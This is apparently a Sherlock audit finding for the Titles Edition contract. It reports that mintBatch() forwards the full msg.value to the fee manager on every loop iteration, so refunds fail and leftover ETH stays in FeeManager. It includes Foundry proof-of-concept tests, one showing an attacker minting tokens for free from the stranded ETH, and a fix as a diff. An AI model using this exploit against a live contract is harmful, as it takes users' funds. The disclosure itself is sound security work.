Wonderful Tin Cuckoo

medium

# `Edition::mintBatch()-0x1f7fdffa` design error, batch minting tokens does not work as expected

## Summary
The wrong msg.value value is used in the for loop to make a call. When the method calls `FEE_MANAGER.collectMintFee()` for the first time, all ETH will be sent to `FEE_MANAGER`, resulting in a revert without ETH in the subsequent loop.
`Edition::mintBatch()-0x1f7fdffa` does not check and process user input, `_refundExcess()` is invalid, and an attacker can tail the transaction and consume the ETH in the contract to mint tokens for free
## Vulnerability Detail
1. The wrong msg.value value is used in the for loop to make a call. When the method calls `FEE_MANAGER.collectMintFee()` for the first time, all ETH will be sent to `FEE_MANAGER`, resulting in a revert without ETH in the subsequent loop.
2. The user calls `Edition::mintBatch()-0x1f7fdffa` and sends ETH. When the `Edition::mintBatch()-0x1f7fdffa` code is executed to `FEE_MANAGER.collectMintFee()`, the corresponding value in the `Edition` contract will be ETH is sent to the `FEE_MANAGER` contract. At this time, `address(Edition).balance == 0`. When the program executes to `_refundExcess();`, since the balance in the contract is 0, the excess ETH sent by the caller will not be refunded, and the excess ETH will remain in In `FeeManager`,  at this point, the attacker can consume the ETH in the contract to mint tokens.
```js
    function mintBatch(
        address to_,
        uint256[] calldata tokenIds_,
        uint256[] calldata amounts_,
        bytes calldata data_
    ) external payable {
        for (uint256 i = 0; i < tokenIds_.length; i++) {
            Work storage work = works[tokenIds_[i]];


            // wake-disable-next-line reentrancy
@>            FEE_MANAGER.collectMintFee{value: msg.value}(
                this, tokenIds_[i], amounts_[i], msg.sender, address(0), work.strategy
            );


            _checkTime(work.opensAt, work.closesAt);
            _updateSupply(work, amounts_[i]);
        }


        _batchMint(to_, tokenIds_, amounts_, data_);
        _refundExcess();
    }
```

### Poc
Please add to `Edition.t.sol` and execute
```js
    function test_mintBatch_0x1f7fdffa_ErrorPoc() public {
        edition.publish(
            address(1), // creator
            10, // maxSupply
            0, // opensAt
            0, // closesAt
            new Node[](0), // attributions
            Strategy({
                asset: address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE),
                mintFee: 0.01 ether,
                revshareBps: 2500, // 25%
                royaltyBps: 250 // 2.5%
            }),
            Metadata({label: "Best Work Ever", uri: "ipfs.io/best-work-ever", data: new bytes(0)})
        );

        // Normally done by the TitlesCore, but we're testing in isolation
        feeManager.createRoute(edition, 2, new Target[](0), address(0));
        // init user
        address user = makeAddr("user");
        deal(user, 0.1 ether);
        // user mints
        uint256[] memory tokenIds = new uint256[](2);
        uint256[] memory amounts = new uint256[](2);
        tokenIds[0] = 1;
        tokenIds[1] = 2;
        amounts[0] = 1;
        amounts[1] = 4;
        vm.startPrank(user);
        vm.expectRevert();
        edition.mintBatch{value: 0.1 ether}(user, tokenIds, amounts, new bytes(0));
        vm.stopPrank();
    }// [PASS] test_mintBatch_0x1f7fdffa_ErrorPoc() (gas: 371356)



    function test_mintBatch_0x1f7fdffa_Poc() public {
        // init user
        address user = makeAddr("user");
        deal(user, 0.1 ether);
        // user mints
        uint256[] memory tokenIds = new uint256[](1);
        uint256[] memory amounts = new uint256[](1);
        tokenIds[0] = 1;
        amounts[0] = 1;
        vm.prank(user);
        edition.mintBatch{value: 0.1 ether}(user, tokenIds, amounts, new bytes(0));
        assertEq(edition.balanceOf(user, tokenIds[0]), amounts[0]);
        assertEq(edition.totalSupply(tokenIds[0]), amounts[0]);
        assertEq(address(feeManager).balance, 0.1 ether - 0.0106 ether * amounts[0]);
        assertEq(address(user).balance, 0);
        assertEq(address(0xc0ffee).balance, 0.0006 ether * amounts[0]);

        // init attacker
        address attacker = makeAddr("attacker");
        // attacker doesn't have ETH
        assertEq(attacker.balance, 0);
        uint256[] memory attackerAmounts = new uint256[](1);
        attackerAmounts[0] = address(feeManager).balance / 0.0106 ether;
        // attacker calls mint()
        vm.prank(attacker);
        edition.mintBatch{value: 0}(attacker, tokenIds, attackerAmounts, new bytes(0));
        assertEq(edition.balanceOf(attacker, 1), attackerAmounts[0]);
        assertEq(edition.balanceOf(user, 1), amounts[0]);
        assertEq(edition.balanceOf(attacker, 1), attackerAmounts[0]);
        assertEq(edition.totalSupply(1), amounts[0] + attackerAmounts[0]);
        assertEq(address(user).balance, 0);
        assertEq(address(attacker).balance, 0);
        assertEq(address(0xc0ffee).balance, 0.0006 ether * (amounts[0] + attackerAmounts[0]));
        console.log("Attacker free mint amount:", attackerAmounts[0]);
    }
    // [PASS] test_mintBatch_0x1f7fdffa_Poc() (gas: 256465)
    // Logs:
    //     Attacker free mint amount: 8
```
## Impact
1. The wrong msg.value value is used in the for loop to make a call. When the method calls `FEE_MANAGER.collectMintFee()` for the first time, all ETH will be sent to `FEE_MANAGER`, resulting in a revert without ETH in the subsequent loop.
2. The user calls `Edition::mintBatch()-0x1f7fdffa` and sends ETH. When the `Edition::mintBatch()-0x1f7fdffa` code is executed to `FEE_MANAGER.collectMintFee()`, the corresponding value in the `Edition` contract will be ETH is sent to the `FEE_MANAGER` contract. At this time, `address(Edition).balance == 0`. When the program executes to `_refundExcess();`, since the balance in the contract is 0, the excess ETH sent by the caller will not be refunded, and the excess ETH will remain in In `FeeManager`,  at this point, the attacker can consume the ETH in the contract to mint tokens.
## Code Snippet
https://github.com/sherlock-audit/2024-04-titles/blob/c9d16782a7d3c15c7a759f22c9e0552d5e777ed7/wallflower-contract-v2/src/editions/Edition.sol#L277-L297
## Tool used

Manual Review

## Recommendation
Verify msg.value and send the corresponding amount
```diff
    function mintBatch(
        address to_,
        uint256[] calldata tokenIds_,
        uint256[] calldata amounts_,
        bytes calldata data_
    ) external payable {
+       uint256 remainingValue = msg.value;        
        for (uint256 i = 0; i < tokenIds_.length; i++) {
            Work storage work = works[tokenIds_[i]];


            // wake-disable-next-line reentrancy
+            uint256 sendValue = FEE_MANAGER.getMintFee(work.strategy, amounts_[i]).amount;
+            if (remainingValue < sendValue) revert();
+            remainingValue -= sendValue;
+            FEE_MANAGER.collectMintFee{value: sendValue}(            
-            FEE_MANAGER.collectMintFee{value: msg.value}(
                this, tokenIds_[i], amounts_[i], msg.sender, address(0), work.strategy
            );


            _checkTime(work.opensAt, work.closesAt);
            _updateSupply(work, amounts_[i]);
        }


        _batchMint(to_, tokenIds_, amounts_, data_);
        _refundExcess();
    }
```
